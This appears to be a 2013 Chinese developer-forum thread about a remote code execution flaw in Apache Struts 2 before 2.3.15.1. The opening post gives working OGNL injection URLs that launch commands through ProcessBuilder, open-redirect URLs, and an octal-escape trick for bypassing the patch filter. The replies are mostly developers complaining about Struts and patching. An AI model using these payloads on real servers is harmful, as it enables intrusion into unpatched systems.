1
lecher OP 受影响的是Struts 2.3.15.1之前的版本,参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行。主要安全漏洞如下:
以POST的方式提交绕过对输入参数的部分过滤。命令执行主要是通过ognl对象的上下文内置静态函数进行执行的。 如@Runtime@getRuntime().exec @class@method 访问静态方法xwork 的ognl语句 执行,变量必须要带有#,之前通过\0023 (16进制的#) 来绕过,官方补丁屏蔽了这种但是可以利用\43(8进制的#)进行绕过。 1. 通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀,以实现远程代码执行,如下: http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} 2. 通过在参数前面加上“redirect:”/“redirectAction:”前缀,以实现开放式重定向,如下: http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/ http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23 |
2
Kvm 2013-07-17 21:26:34 +08:00
大牛
|
3
kevinv 2013-07-17 21:35:01 +08:00
我今天也刚注意到
|
4
luikore 2013-07-17 22:03:58 +08:00
珍爱生命, 远离 java, 这句话都说多少年了...
|
5
raptium 2013-07-17 22:40:26 +08:00
苦逼 Java 程序员表示刚紧急处理完两个项目回家……
|
6
Paranoid 2013-07-17 22:58:17 +08:00
和 struts 有仇呀,一下爆这么多, 怎么也得一天一个,慢慢玩 ..哈哈
|
7
aurorawu 2013-07-17 23:33:55 +08:00
人生苦短,工作之余我用Python
|
8
ccbikai 2013-07-17 23:40:28 +08:00 via Android
为什么他们昨天前天没有提交呢?
都是吃剩饭的? |
9
lecher OP 因为漏洞的原理和应用已经公布了,知道如何用的人很多,官方又公布了补丁,现在wooyun上面爆提交其实就是抢在厂商没有打补丁这段时间多刷点wooyun积分。
实际的入侵工作恐怕早就已经做过了。白帽们不屑于扫库拖库的事情,他们就是想赚点名声。 而那些利用漏洞牟利的人,恐怕早就把该拖的库拖走了。 |
11
davepkxxx 2013-07-18 05:47:22 +08:00
没影响,早就换成spring-mvc了。
|
13
davepkxxx 2013-07-19 12:30:01 +08:00
struts项目那帮人就是个2,修补一个漏洞时表现的也很奇葩。官方完全没有理解漏洞原理,仅仅针对漏洞报告者提供的特征字符做了过滤,结果接二连三的被绕过,一个简单的漏洞,修补了两三次都没有修补好。
|
14
zhttty 2013-07-19 12:50:40 +08:00
很多人根本就不理解struts运行核心流程,培训了几周就用了...出了问题能怪谁?源码就在那里,不看是你个人的问题。
|